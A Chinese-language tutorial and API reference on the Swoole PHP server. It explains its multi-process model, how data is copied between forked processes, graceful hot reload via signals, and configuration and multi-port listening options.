软件开发中最常见的并发问题解决方案莫过于多线程/多进程两种模式,协程则又是另一个解决方案了 并发中最迫切需要解决的问题之一就是数据的可靠性问题,就是防止脏读脏写,而不同的并发模型其并发数据可靠性的机制往往各有特点 Swoole目前总共有三种运行模式,其中Base模式基本没有生产应用价值,Swoole的多进程模式是官方目前最推荐用于生产环境的模式 1、单线程模式(SWOOLE_BASE) 这种模式就是传统的异步非阻塞Server,在Reactor内直接回调PHP的函数。如果回调函数中有阻塞操作会导致Server退化为同步模式。worker_num参数对与BASE模式仍然有效,swoole会启动多个Reactor进程。 BASE模式下Reactor和Worker是同一个角色 BASE模式的优点: BASE模式没有IPC开销,性能更好 BASE模式代码更简单,不容易出错 BASE模式的缺点: TCP连接是在Worker进程中维持的,所以当某个Worker进程挂掉时,此Worker内的所有连接都将被关闭 少量TCP长连接无法利用到所有Worker进程 TCP连接与Worker是绑定的,长连接应用中某些连接的数据量大,这些连接所在的Worker进程负载会非常高。但某些连接数据量小,所以在Worker进程的负载会非常低,不同的Worker进程无法实现均衡。 BASE模式的适用场景: 如果客户端连接之间不需要交互,可以使用BASE模式,如Memcache、Http服务器等。SWOOLE_BASE只会启动一个进程,不设置该参数则会启动多个进程
2、多进程模式(SWOOLE_PROCESS)和并发 多进程模式是最复杂的方式,用了大量的进程间通信、进程管理机制,适合业务逻辑非常复杂的场景。Swoole提供了完善的进程管理、内存保护机制,在业务逻辑非常复杂的情况下也可以长期稳定运行。 Swoole在Reactor线程中提供了Buffer的功能,可以应对大量慢速连接和逐字节的恶意客户端。另外也提供了CPU亲和设置选项,使程序运行的效率更好。 进程模式的优点: 连接与数据请求发送是分离的,不会因为某些连接数据量大某些连接数据量小导致Worker进程不均衡 Worker进程发送致命错误时,连接并不会被切断 可实现单连接并发,仅保持少量TCP连接,请求可以并发地在多个Worker进程中处理 进程模式的缺点: 存在2次IPC的开销,master进程与worker进程需要使用UnixSocket进行通信 不支持某些高级功能,如sendwait、pause、resume等操作 当执行的start方法之后发生了什么: 1、守护进程模式下,当前进程fork出Master进程,然后退出,Master进程触发OnMasterStart事件。 2、Master进程启动成功之后,fork出Manager进程,并触发OnManagerStart事件。 3、Manager进程启动成功时候,fork出Worker进程,并触发OnWorkerStart事件。 非守护进程模式下,则当前进程直接作为Master进程工作。 一个最基础的Swoole Server至少需要有3个进程: Master进程、Manager进程和Worker进程 一个多进程模式下的Swoole Server中有且只有一个Master进程;有且只有一个Manager进程;却可以有n个Worker进程 服务器启动后可以通过kill 主进程ID来结束所有工作进程 Swoole是一个多进程模式的框架(可以类比Nginx的进程模型),当启动一个Swoole应用时一共会创建2+n+m个进程,其中n为Worker进程数,m为TaskWorker进程数,2为一个Master进程和一个Manager进程 其中Master进程为主进程,该进程会创建Manager进程、Reactor线程等工作进/线程。 Reactor线程实际运行epoll实例,用于accept客户端连接以及接收客户端数据; Manager进程为管理进程,该进程的作用是创建、管理所有的Worker进程和TaskWorker进程。 三种进程之间是怎么协作的: 1、Client主动Connect的时候,Client实际上是与Master进程中的某个Reactor线程发生了连接。 2、当TCP的三次握手成功以后,由这个Reactor线程将连接成功的消息告诉Manager进程,再由Manager进程转交给Worker进程 3、在这个Worker进程中触发了OnConnect的方法。 4、当Client向Server发送了一个数据包的时候,首先收到数据包的是Reactor线程,同时Reactor线程会完成组包,再将组好的包交给Manager进程,由Manager进程转交给Worker。 5、此时Worker进程触发OnReceive事件。 6、如果在Worker进程中做了什么处理,然后再用Send方法将数据发回给客户端时,数据则会沿着这个路径逆流而上 首先Master进程是一个多线程进程,其中有一组非常重要的线程叫做Reactor线程(组),每当一个客户端连接上服务器的时候,都会由Master进程从已有的Reactor线程中,根据一定规则挑选一个,专门负责向这个客户端提供维持链接、处理网络IO与收发数据等服务。receive分包拆包等功能也是在这里完成的 而Manager进程可以看做一个代理层,它本身并不直接处理业务,其主要工作是将Master进程中收到的数据转交给Worker进程,或者将Worker进程中希望发给客户端的数据转交给Master进程进行发送。Manager进程还负责监控Worker进程,如果Worker进程因为某些意外挂了,Manager进程会重新拉起新的Worker进程,而这个特性也是最终实现热重载的核心机制。 Worker进程作为Swoole的工作进程,所有的业务逻辑代码均在此进程上运行。当Reactor线程接收到来自客户端的数据后会将数据打包通过管道发送给某个Worker进程,然后Worker进程进行具体的处理,并根据实际情况将结果反馈给客户端。 Worker进程生命周期 当一个Worker进程被成功创建后,会调用onWorkerStart回调,随后进入事件循环等待数据。当通过回调函数接收到数据后开始处理数据。如果处理数据过程中出现严重错误导致进程退出,或者Worker进程处理的总请求数达到指定上限,则Worker进程调用onWorkerStop回调并结束进程 如果要打个比方的话,Master进程就像业务窗口的,Reactor就是前台接待员,用户很多的时候,后边的用户就需要排队等待服务;Reactor负责与客户直接沟通,对客户的请求进行初步的整理(传输层级别的整理——组包);然后Manager进程就是类似项目经理的角色,要负责将业务分配给合适的Worker(例如空闲的Worker);而Worker进程就是工人,负责实现具体的业务。 实际上一对多投递这种模式总是在并发的程序设计非常常见: 1个Master进程投递n个Reactor线程;1个Manager进程投递n个Worker进程。
【 进程模型与数据共享 】 为了便于输出,没有启用守护进程模式,所以交互进程与Master进程是同一个进程
这段程序测试的时候需要开两个会话,第一个会话用于执行并打印输出;第二个会话用于使用kill命令通知Server执行一些工作,然后看看输出的结果: # 在会话一中 > php swoole_server_demo.php On master start. server->BaseProcess = I'm base process. On manager start. server->BaseProcess = I'm base process. server->MasterToManager = Worker start server->BaseProcess = I'm base process. server->MasterToManager = server->ManagerToWorker = 从Manager start和Worker start中的输出发现BaseProcess、MasterToManager、ManagerToWorker并没有分别在Master、Manager中被修改,并在子进程中打印出被修改后的结果,这是为什么呢?别急,继续做个实验。 打开会话二,先执行pstree -ap|grep php找到刚刚启动的Server的Master进程的PID,然后向该进程发送-10信号,然后再次实行pstree命令看看: > pstree -ap|grep php | | `-php,5512 swoole_server_demo.php | | |-php,5513 swoole_server_demo.php | | | `-php,5515 swoole_server_demo.php > kill -10 5512 > pstree -ap|grep php | | `-php,5512 swoole_server_demo.php | | |-php,5513 swoole_server_demo.php | | | `-php,5522 swoole_server_demo.php -10信号的作用是,要求Swoole重启Worker服务,发现原来的Worker[5515]被干掉了,而产生了一个新的Worker[5522],此时如果切换回会话一,会发现增加了以下的输出: [2016-10-03 02:00:26 $5513.0] NOTICE Server is reloading now. Worker stop server->ManagerToWorker = This value is changed in worker. server->MasterToManager = This value has changed in worker. server->BaseProcess = I'm base process. Worker start server->BaseProcess = I'm changed by manager. server->MasterToManager = This value has changed in manager. server->ManagerToWorker = Hello worker,I'm manager. 首先是Swoole自己打印的日志信息,Server正在被reloading,然后Worker[5515]被终止,执行了WorkerStop的方法,此时WorkerStop输出的值可以看出,在WorkerStart中的赋值都是生效了的;然后新的Worker[5522]被启动了,重新触发WorkerStart方法,BaseProcess、MasterToManager和ManagerToWorker都分别被打印了出来?这是什么原因呢? 原因在方法被执行的顺序上,前文中的进程起调顺序并没有问题,但有些地方要做一点小小的细化: Master进程被启动。 Manager进程被Master进程fork出来。 Worker进程被Manager进程fork出来。 MasterStart被回调。 ManangerStart被回调。 WorkerStart被回调。 也就是说,三种进程的OnStart方法被回调的时候都有一定的延迟,底层事实上已经完工了fork的行为才回调的,因此默认启动的时候,在OnMasterStart、OnManagerStart中写入的数据并不能按预期被fork到Manager进程或者Worker进程。 然后执行了kill -10重新拉起Worker进程的时候,此时Worker进程仍然是由Mananger进程fork出来的,但此时ManangerStart已经被执行过了,所以会发现在OnWorkerStart的时候,输出变成了ManagerStart中修改过的内容。 OK,现在回到Shell会话二,向Master进程发送kill -15命令 > kill -15 5512 然后回到会话一,输出增加了如下的内容: [2016-10-03 02:17:35 #5512.0] NOTICE Server is shutdown now. Worker stop server->ManagerToWorker = This value is changed in worker. server->MasterToManager = This value has changed in worker. server->BaseProcess = I'm changed by manager. Manager stop. server->ManagerToWorker = Hello worker,I'm manager. server->MasterToManager = This value has changed in manager. server->BaseProcess = I'm changed by manager. Master shutdown. server->ManagerToWorker = server->MasterToManager = Hello manager,I'm master. server->BaseProcess = I'm changed by master. kill -15命令是通知Swoole正常终止服务,首先停止Worker进程,触发OnWorkerStop回调,此时输出的内容都是WorkerStart中修改过的版本。 然后停止Manager进程,这时候要留意,在Worker中做的所有操作并没有反应在Manager进程上,OnManagerStop的输出仍然是在OnManagerStart中赋值的内容。 最后停止Master进程,也会有相同的事情发生。 通过以上实验,展示了多进程Server的两个重要特性: 1、父进程fork出子进程的时候,子进程会拷贝一份父进程的所有数据。 2、各个进程之间的数据一般情况下是不共享内存的。 这两个特性会引起什么问题呢?如果没有弄清楚当前的代码是在哪个进程执行的,很有可能就会引起数据的错误,而多个进程之间进行协作的话,不能像以往的PHP开发一样,通过共享变量实现。 多进程模型中,内存不能共享,那进程之间应该怎么通讯呢?
服务器热重启
在传统的LAMP环境中调试应用有时候非常简单,修改、保存、重新访问网页就能看到刚刚修改的代码的效果,随改随用,可是当业务来到Swoole Server的时候却发现了一些不同。
$server->on('receive',function ($serv,$fd,$from_id,$data){
echo "Receive something\n";
});
这段DEMO的逻辑每当Server收到一个包的时候输出一段文字。模拟一个业务调整的场景,希望Server在收到包的时候,输出两段文字,现在简单修改一下代码如下并保存:
$server->on('receive',function ($serv,$fd,$from_id,$data){
echo "Receive something\n";
echo "I can not receive anything\n"
});
然后再使用telnet作为测试工具,向Server发出请求,然后输出仍然是"Receive something\n",后加的"I can not receive anything\n"并不会出现。这个结果与习惯中即插即用的PHP表现并不相同。
首先要从LAMP的工作特性说起,如果说Linux隔离的是硬件层和软件层(作为操作系统),那么Apache在这个框架下隔离的其实是TCP Server和Handle HTTP REQUEST的工作,也就是说每当客户端发送一个HTTP Request给Apache的时候,Apache首先将其按HTTP协议的格式进行解析,再根据当前自己加载的配置文件,搜索可以处理这个HTTP请求的程序(在此可以看作是Zend引擎),并根据URL描述的路径找到相关的*.php文件,通过调用Zend解析并执行该文件中PHP的代码,并返回输出,Apache获得输出以后,重新组织成合适的HTTP Response,并返回个客户端(在这个场景下就是浏览器了)。
从分工的角度上看,Apache就像Master进程一样,承担了维持连接并转发请求的工作,而具体的业务内容是由Zend引擎和其执行并加载的PHP代码所决定的。
Apache并不止可以处理PHP的服务,它本质上是一个Web Server的容器
换个角度讲,之所以在使用LAMP的过程中修改PHP代码以后可以马上看到效果,是因为每个新的请求都是重新调用Zend重新解析硬盘上的PHP代码文件而获得的。
这种模式的优点就是开发简便,快速;这也是PHP为什么能在WEB开发中雄霸天下的重要原因之一。
然而有利就自然有弊,可以想象当业务正式上线,代码趋于稳定,不需要经常修改的时候,每次收到业务请求的时候都要重新从硬盘中读取文件,再加载到内存,然后解析执行显然会造成大量的时间浪费。
传统的PHP模型中,显然也不会忽略这个问题,有大量的工具都可用于或设计于解决这个问题
而SWOOLE Server作为PHP的进阶工具,它设计之初就是面向高性能及更底层的业务开发而设计的,所以它的默认设计下并不能支持即改即用。
修改PHP文件后代码并不能生效是因为PHP代码中的内容已经被加载到了内存中,每次收到业务请求的时候,SWOOLE Server并不会重新从硬盘中读取新的PHP文件,而是直接根据已加载到内存中的代码执行业务逻辑。
所以最简单的重载方法就粗线了: 把当前Server相关进程干掉,然后重启服务
在Swoole的多进程模型中,Master进程负责维护所有与客户端的连接,而Worker进程才是处理业务逻辑的地方,重载业务的时候,并不需要把整个Server都干掉,只需要干掉Worker进程,然后重新启动就可以了。
Master进程收到了客户端的请求以后,解决了TCP级别的协议问题后,就把请求交给了manager进程处理,而manager进程则会进一步的把工作交给worker,最后的业务逻辑是在woeker中完成的。
那么此时需要告知Server,代码发生了变动,快干掉现有的Worker进程,重新读取硬盘的文件并拉起新的Worker进程应该怎么做呢?
从工作机制上,其实只需要Manager进程和Worker进程相互配合好即可。
对于Manager进程而言,它只需要做到一点,如果发现麾下的某个Worker进程不是正常退出的,那么Manager进程要负责重新拉起一个Worker进程,而重新拉起Worker进程的时候,由于内存里已经没有了旧的Worker进程,则需要重新从硬盘中读取代码。
事实上,这个设计同时还保障了如果由于业务原因导致某个Worker进程意外挂掉了,还会有新的Worker进程被生产出来,用于保障服务。
对于Worker进程而言,每当某个Worker手头的工作完成后,都要把自己已经空下来,可以接受新的工作的状态告诉Manager进程,以便于Manager进程分配新的工作给Worker进程,换个角度讲,Manager进程是知道某个Worker进程的工作状态的,为了防止事务行为被重载打断,只要调Worker进程空闲的时候重载,就可以了。
这是个很经典的异步协同工作流程。
而怎么实现这个过程呢?Swoole Server已经提供了接口,就是通过kill命令向Manager进程发送SIGUSR1(-10)的信号量,则Manager进程就会先Hold住当前接受到的请求(队列),把已经空闲的Worker进程干掉,并重新拉起新的Worker进程,并将新的请求交给新的Worker进程处理,直到所有的Worker进程都被重新拉起为止。
这其实是柔性终止/重启机制,不立即把进程干掉,而是先禁止进程接收新的请求,然后允许进程把手头上正在处理的业务做完,再稳定退出进行。
【 热重启 】
热重启就是当服务器相关代码有所变动之后无需停止服务,而是在服务器仍然运行的状态下更新文件。
Swoole通过内置的reload函数以及两个自定义信号量实现了这一功能。
Swoole可用的三个信号: SIGTERM,SIGUSR1,SIGUSR2。SIGTERM用于停止服务器,SIGUSR1用于重启全部的Worker进程,SIGUSR2用于重启全部的Task Worker进程。
那要如何实现热更新代码文件呢?Swoole的回调函数中有这个一个回调onWorkerStart;该回调会在Worker进程启动时被调用。因此,当swoole_server收到SIGUSR1信号并重启全部Worker进程后,onWorkerStart就会被调用。如果在onWorkerStart中require全部的代码文件,每次onWorkerStart后都会重新require一次php文件,这样就能实现代码文件的热更新
swoole_server属性列表
1、$serv->setting;
Server::set()函数所设置的参数保存到Server->$setting属性,在回调函数中可以访问运行参数的值
2、$serv->manager_pid;
返回当前服务器管理进程的PID,只能在onStart/onWorkerStart之后获取到,通过向管理进程发送SIGUSR1信号可实现柔性重启
3、$serv->master_pid;
返回当前服务器主进程的PID,只能在onStart/onWorkerStart之后获取到,通过向主进程发送SIGTERM信号可安全关闭服务器
4、$serv->worker_pid;
得到当前Worker进程的操作系统进程ID。与posix_getpid()的返回值相同
5、$serv->worker_id;
得到当前Worker进程的编号,包括Task进程
Worker进程编号范围是[0,$serv->setting['worker_num']]
Task进程编号范围是[$serv->setting['worker_num'],$serv->setting['worker_num'] + $serv->setting['task_worker_num']]
6、$serv->taskworker;
布尔类型,true表示当前的进程是Task工作进程,false表示当前的进程是Worker进程
7、$serv->ports;
监听端口数组,如果服务器监听了多个端口可以遍历Server::$ports得到所有Swoole\Server\Port对象。 其中swoole_server::$ports[0]为构造方法所设置的主服务器端口
$ports = $server->ports;
$ports[0]->set($settings);
$ports[1]->on("Receive",function () {
//callback
});
8、$serv->connections;
当前服务器的客户端连接,可使用foreach遍历所有连接的fd
$connections属性是一个迭代器对象,不是PHP数组,所以不能用var_dump或者数组下标来访问,只能通过foreach进行遍历操作
foreach($server->connections as $fd){
$server->send($fd,"hello");
}
echo "当前服务器共有 ".count($server->connections). " 个连接\n";
swoole_server函数列表
【 Server::__construct 】
创建一个异步Server对象。
$serv = new Server(string $host,int $port = 0,int $mode = SWOOLE_PROCESS,int $sock_type = SWOOLE_SOCK_TCP);
$host参数用来指定监听的ip地址如127.0.0.1,或者外网地址如192.168.50.133,或者0.0.0.0监听全部地址
IPv4使用 127.0.0.1表示监听本机,0.0.0.0表示监听所有地址
IPv6使用::1表示监听本机,:: (相当于0:0:0:0:0:0:0:0) 表示监听所有地址
$port监听的端口,如9501
如果$sock_type为UnixSocket Stream/Dgram,此参数将被忽略
监听小于1024端口需要root权限
如果此端口被占用server->start时会失败
$mode运行的模式
SWOOLE_PROCESS多进程模式(默认)
SWOOLE_BASE基本模式
$sock_type指定Socket的类型,支持TCP、UDP、TCP6、UDP6、UnixSocket Stream/Dgram 6种
使用$sock_type | SWOOLE_SSL可以启用SSL隧道加密。启用SSL后必须配置ssl_key_file和ssl_cert_file
构造函数中的参数与swoole_server::addlistener中是完全相同的
监听端口失败会抛出异常,可以使用try/catch捕获异常
高负载的服务器,请务必调整Linux内核参数
底层有保护机制,一个PHP程序内只能创建启动一个Server实例
如果要实现多个Server实例的管理,父进程必须使用exec,不得使用fork
随机可用端口
1.9.6增加了随机监听可用端口的支持,$port参数可以设置为0,操作系统会随机分配一个可用的端口,进行监听。可以通过读取$server->port得到分配到的端口号。
$http = new Swoole\Http\Server("0.0.0.0");
$http->on('request',function ($request,$response) {
$response->header("Content-Type","text/html; charset=utf-8");
$response->end("Hello Swoole. #".rand(1000,9999));
});
$http->start();
SYSTEMD监听端口
1.9.7增加了对systemd socket的支持。监听端口由systemd配置指定。
swoole.socket
[Unit]
Description=Swoole Socket
[Socket]
ListenStream=9501
Accept=false
[Install]
WantedBy = sockets.target
swoole.service
[Service]
Type=forking
PIDFile=/var/run/swoole.pid
ExecStart=/usr/bin/php /var/www/swoole/server.php
ExecStop=/bin/kill $MAINPID
ExecReload=/bin/kill -USR1 $MAINPID
[Install]
WantedBy = multi-user.target
server.php
$http = new Swoole\Http\Server("systemd");
$http->set([
'daemonize' => true,
'pid_file' => '/var/run/swoole.pid',
]);
$http->on('request',function ($request,$response) {
$response->header("Content-Type","text/html; charset=utf-8");
$response->end("Hello Swoole. #".rand(1000,9999));
});
$http->start();
启动服务
sudo systemctl enable swoole.socket
sudo systemctl start swoole.socket
sudo systemctl start swoole.service
【 Server->set 】
用于设置运行时的各项参数,swoole_server->set只能在swoole_server->start前调用
服务器启动后通过$serv->setting来访问Server->set方法设置的参数数组。
function Server->set(array $setting);
$serv->set(array(
'reactor_num' => 2, //reactor thread num
'worker_num' => 4, //worker process num
'backlog' => 128, //listenbacklog
'max_request' => 50,
'dispatch_mode' => 1,
));
最大连接
max_conn => 10000,此参数用来设置Server最大允许维持多少个tcp连接,超过此数量后新进入的连接将被拒绝。
此参数不要调整的过大,根据机器内存的实际情况来设置。底层会根据此数值一次性分配一块大内存来保存Connection信息
守护进程化
daemonize => 1,加入此参数后,执行php server.php将转入后台作为守护进程运行
reactor线程数
reactor_num => 2,通过此参数来调节Reactor线程的数量,以充分利用多核,默认设置为CPU核数
worker进程数
worker_num => 4,设置启动的Worker进程数量。Swoole采用固定Worker进程的模式。
全异步非阻塞服务器 worker_num配置为CPU核数的1-4倍即可。
同步阻塞服务器,worker_num配置为100或者更高,具体要看每次请求处理的耗时和操作系统负载状况
当设定的Worker进程数小于reactor线程数时,会自动调低reactor线程的数量
max_request
max_request => 2000,此参数表示worker进程在处理完n次请求后结束运行。manager会重新创建一个worker进程。此选项用来防止worker进程内存溢出。
设置为0表示不自动重启。在Worker进程中需要保存连接信息的服务,需要设置为0.
PHP代码也可以使用memory_get_usage来检测进程的内存占用情况,发现接近memory_limit时,调用exit()退出进程。manager进程会回收此进程,然后重新启动一个新的Worker进程。
onConnect/onClose不增加计数
Listen队列长度
backlog => 128,此参数将决定最多同时有多少个待accept的连接,swoole本身accept效率是很高的,基本上不会出现大量排队情况。
CPU亲和设置
open_cpu_affinity => 1 ,启用CPU亲和设置
TCP_NoDelay启用
open_tcp_nodelay => 1 ,启用tcp_nodelay
TCP_DEFER_ACCEPT
tcp_defer_accept => 5,此参数设定一个秒数,当客户端连接连接到服务器时,在约定秒数内并不会触发accept,直到有数据发送,或者超时时才会触发。
日志文件路径
log_file => '/data/log/swoole.log',指定swoole错误日志文件。在swoole运行期发生的异常信息会记录到这个文件中。默认会打印到屏幕。
数据buffer
buffer主要是用于检测数据是否完整,如果不完整swoole会继续等待新的数据到来。直到收到完整的一个请求,才会一次性发送给worker进程。这时onReceive会收到一个超过SW_BUFFER_SIZE,小于$serv->setting['package_max_length']的数据。
目前仅提供了EOF检测、固定包头长度检测2种buffer模式。
open_eof_check => true打开buffer
package_eof => "\r\n\r\n" 设置EOF
心跳检测机制
heartbeat_check_interval => 30 //每隔多少秒检测一次,单位秒,Swoole会轮询所有TCP连接,将超过心跳时间的连接关闭掉
heartbeat_idle_time => 60 //TCP连接的最大闲置时间,单位s,如果某fd最后一次发包距离现在的时间超过heartbeat_idle_time会把这个连接关闭。
heartbeat_idle_time必须大于或等于heartbeat_check_interval
worker进程数据包分配模式
dispatch_mode = 1 //1平均分配,2按FD取模固定分配,3抢占式分配,默认为取模(dispatch=2)
抢占式分配,每次都是空闲的worker进程获得数据。很合适SOA/RPC类的内部服务框架
当选择为dispatch=3抢占模式时,worker进程内发生onConnect/onReceive/onClose/onTimer会将worker进程标记为忙,不再接受新的请求。reactor会将新请求投递给其他状态为闲的worker进程
如果希望每个连接的数据分配给固定的worker进程,dispatch_mode需要设置为2
【 Server->on 】
注册Server的事件回调函数。
bool Server->on(string $event,mixed $callback);
第1个参数是回调的名称,大小写不敏感,具体内容参考回调函数列表,事件名称字符串不要加on
第2个函数是回调的PHP函数,可以是函数名的字符串,类静态方法,对象方法数组,匿名函数。
重复调用on方法时会覆盖上一次的设定
【 Server->listen】 监听一个新的Server端口,此方法是addlistener的别名。 bool Server->listen(string $host,int $port,int $type); 【 Server->addListener 】 增加监听的端口。监听失败返回false,可调用getLastError方法获取错误码 业务代码中可以通过调用Server->getClientInfo来获取某个连接来自于哪个端口。 function Server->addListener(string $host,int $port,$type = SWOOLE_SOCK_TCP); 监听1024以下的端口需要root权限 1.8.0版本增加了多端口监听的功能,监听成功后会返回Swoole\Server\Port对象,在此对象上可以设置另外的事件回调函数和运行参数 主服务器是WebSocket或Http协议,新监听的TCP端口默认会继承主Server的协议设置。必须单独调用set方法设置新的协议才会启用新协议 swoole支持的Socket类型 SWOOLE_TCP/SWOOLE_SOCK_TCP tcp ipv4 socket SWOOLE_TCP6/SWOOLE_SOCK_TCP6 tcp ipv6 socket SWOOLE_UDP/SWOOLE_SOCK_UDP udp ipv4 socket SWOOLE_UDP6/SWOOLE_SOCK_UDP6 udp ipv6 socket SWOOLE_UNIX_DGRAM unix socket dgram SWOOLE_UNIX_STREAM unix socket stream Unix Socket仅在1.7.1后可用,此模式下$host参数必须填写可访问的文件路径,$port参数忽略 Unix Socket模式下客户端$fd将不再是数字,而是一个文件路径的字符串 SWOOLE_TCP等是1.7.0后提供的简写方式,与SWOOLE_SOCK_TCP是等同的可以混合使用UDP/TCP,同时监听内网和外网端口
IPv4与IPv6
IPv4使用 127.0.0.1表示监听本机,0.0.0.0表示监听所有地址
IPv6使用::1表示监听本机,:: (0:0:0:0:0:0:0:0) 表示监听所有地址
Linux系统下监听IPv6端口后使用IPv4地址也可以进行连接
随机监听端口
1.9.6增加了随机监听端口的特性,$port参数可以设置为0,操作系统会随机分配一个可用的端口进行监听。可读取$listen_port->port获取分配到的端口号。
$port = $serv->addListener("0.0.0.0",0,SWOOLE_SOCK_TCP);
echo $port->port;
Swoole-1.8.0新增了对多端口混合协议的支持。Server可以监听多个端口,每个端口都可以设置不同的协议处理方式(set)和回调函数(on)。SSL/TLS传输加密也可以只对特定的端口启用。这样可以同时监听UDP和TCP,同时监听内网地址和外网地址。内网地址和端口用于管理,外网地址用于对外服务
未调用set方法,设置协议处理选项的监听端口,默认继承主服务器的设置
未调用on方法,设置回调函数的监听端口,默认使用主服务器的回调函数
监听端口返回的对象类型为swoole_server_port
监听端口的swoole_server_port对象,可以调用set和on方法,使用方法与swoole_server完全一致
监听端口只能设置少量特定的选项,只能设置数据收发的相关事件回调函数
不同监听端口的回调函数,仍然是相同的Worker进程空间内执行
主服务器是WebSocket或Http协议,新监听的TCP端口默认会继承主Server的协议设置。必须单独调用set方法设置新的协议才会启用新协议
新添加的监听端口可以设置多种属性,监听的IP、端口号、TCP或者UDP、是否需要SSL加密。 除此之外每个新建立的Port对象还可以分别设置配置选项
除了协议不同,每个Port还可以设置自己独有的回调函数,由此避免了在同一个回调函数里针对数据来源进行判定的问题
未设置协议处理选项的监听端口,默认使用无协议模式
未设置回调函数的监听端口,使用$server对象的回调函数
监听端口返回的对象类型为swoole_server_port
不同监听端口的回调函数,仍然是相同的Worker进程空间内执行
主服务器是WebSocket或Http协议,新监听的TCP端口默认会继承主Server的协议设置。必须单独调用set方法设置新的协议才会启用新协议
监听新端口
$port1 = $server->listen("127.0.0.1",9501,SWOOLE_SOCK_TCP);
$port2 = $server->listen("127.0.0.1",9502,SWOOLE_SOCK_UDP);
$port3 = $server->listen("127.0.0.1",9503,SWOOLE_SOCK_TCP | SWOOLE_SSL);
设置网络协议
$port1->set([ // 开启固定包头协议
'open_length_check' => true,
'package_length_type' => 'N',
'package_length_offset' => 0,
'package_max_length' => 800000,]
);
$port3->set([ // 开启EOF协议并设置SSL文件
'open_eof_split' => true,
'package_eof' => "\r\n",
'ssl_cert_file' => 'ssl.cert',
'ssl_key_file' => 'ssl.key',]
);
设置回调函数
$port1->on('connect',function ($serv,$fd){
echo "Client:Connect.\n";
});
$port1->on('receive',function ($serv,$fd,$from_id,$data) {
$serv->send($fd,'Swoole: '.$data);
$serv->close($fd);
});
$port1->on('close',function ($serv,$fd) {
echo "Client: Close.\n";
});
$port2->on('packet',function ($serv,$data,$addr) {
var_dump($data,$addr);
});
$port3->on('receive',function ($serv,$fd,$from_id,$data) {
echo "Hello {$fd} : {$data}\n";
});
Http/WebSocket
swoole_http_server和swoole_websocket_server因为是使用继承子类实现的,无法通过调用swoole_server实例的listen来方法创建Http/WebSocket服务器。如果服务器的主要功能为RPC,但希望提供一个简单的Web管理界面。
在这样的场景中,可以先创建Http/WebSocket服务器,然后再进行listen监听RPC服务器的端口。
建立一个同时对外提供http服务,又同时对外提供tcp服务的serverTCP、Http、WebSocket多协议端口复合设置,同理还有open_http_protocol、open_http2_protocol等参数在实际运用场景中,服务器可能需要监听不同host下的不同端口。比如一个应用服务器,可能需要监听外网的服务端口,同时也需要监听内网的管理端口。在Swoole中可以轻松的实现这样的功能,Swoole提供了addlistener函数用于给服务器添加一个需要监听的host及port,并指定对应的Socket类型(TCP,UDP,Unix Socket以及对应的IPv4和IPv6版本) 此时swoole_server就会同时监听两个host下的两个端口。来自两个端口的数据会在同一个onReceive中获取到,这时就要用到swoole的另一个成员函数connection_info,通过这个函数获取到fd的server_port就可以判定消息的类型Multiple PortlistenExample
【 Server->addProcess 】 添加一个用户自定义的工作进程。此函数通常用于创建一个特殊的工作进程,用于监控、上报或者其他特殊的任务。 添加成功返回true,失败返回false bool Server->addProcess(Process $process); 参数$process为Process对象,注意不需要执行start。在Server启动时会自动创建进程,并执行指定的子进程函数 创建的子进程可以调用$server对象提供的各个方法,如connection_list/connection_info/stats 在worker/task进程中可以调用$process提供的方法与子进程进行通信 在用户自定义进程中可以调用$server->sendMessage与Worker/Task进程通信 自定义进程会托管到Manager进程,如果发生致命错误,Manager进程会重新创建一个 自定义进程不受reload指令控制,reload时不会向用户进程发送任何信息 在shutdown关闭服务器时,会向自定义进程发送SIGTERM信号 自定义进程内不能使用swoole_server->task/taskwait接口
【 Server->start 】
启动服务器,监听所有TCP/UDP端口
bool Server->start()
启动成功后会创建Master进程+Manager进程+serv->worker_num个Worker进程,设置了task_worker_num会增加相应数量的Task进程,启动失败会立即返回false
启动成功后将进入事件循环,等待客户端连接请求,start方法之后的代码不会执行;服务器关闭后start函数返回true并继续向下执行
swoole_server的set\on\addListener\addProcess方法仅可在start调用前使用,其余方法仅可在onWorkerStart、onReceive等事件回调函数中使用
主进程master
主进程内有多个Reactor线程,基于epoll/kqueue进行网络事件轮询,收到数据后转发到Worker进程去处理
Manager进程
对所有worker进程进行管理,worker进程生命周期结束或者发生异常时自动回收,并创建新的worker进程
worker进程
对收到的数据进行处理,包括协议解析和响应请求。
启动失败扩展内会抛出致命错误,errno={number}是标准的Linux Errno,如果开启了log_file设置,信息会打印到指定的Log文件中。
如果想要在开机启动时自动运行Server,可以在/etc/rc.local文件中加入
/usr/bin/php /data/webroot/www.swoole.com/server.php
常见的错误有:
bind端口失败,原因是其他进程已占用了此端口
未设置必选回调函数,启动失败
PHP代码存在致命错误,检查PHP错误信息php_errors.log
执行ulimit -c unlimited,打开core dump,查看是否有段错误
关闭daemonize,关闭log,使错误信息可以打印到屏幕
【 Server->reload 】
重启所有Worker/Task进程。
bool Server->reload(bool $only_reload_taskworkrer = false)
参数$only_reload_taskworkrer表示是否仅重启Task进程
一台繁忙的后端服务器随时都在处理请求,如果管理员通过kill进程方式来终止/重启服务器程序,可能导致刚好代码执行到一半终止。
这种情况下会产生数据的不一致。如交易系统中,支付逻辑的下一段是发货,假设在支付逻辑之后进程被终止了。会导致用户支付了货币,但并没有发货,后果非常严重。
Swoole提供了柔性终止/重启的机制,管理员只需要向Server发送特定的信号,Server的Worker进程可以安全的结束。
SIGTERM: 向主进程/管理进程发送此信号服务器将安全终止,PHP代码中可调用$serv->shutdown()完成此操作
SIGUSR1: 向主进程/管理进程发送SIGUSR1信号将平稳地restart所有Worker进程,PHP代码中可调用$serv->reload()完成此操作
reload有保护机制,当一次reload正在进行时,收到新的重启信号会丢弃
如果设置了user/group,Worker进程可能没有权限向master进程发送信息,这种情况下必须使用root账户,在shell中执行kill指令进行重启
reload指令对addProcess添加的用户进程无效
#重启所有worker进程
kill -USR1 主进程PID
1.7.7版本增加了仅重启task_worker的功能。只需向服务器发送SIGUSR2即可。
#仅重启task进程
kill -USR2 主进程PID
平滑重启只对onWorkerStart或onReceive等在Worker进程中include/require的PHP文件有效,Server启动前就已经include/require的PHP文件,不能通过平滑重启重新加载
对于Server的配置即$serv->set()中传入的参数设置,必须关闭/重启整个Server才可以重新加载
Server可以监听一个内网端口,然后可以接收远程的控制命令,去重启所有Worker进程
Process模式
在Process模式下,来自客户端的TCP连接是在Master进程内维持的,worker进程的重启和异常退出,不会影响连接本身。
Reload有效范围
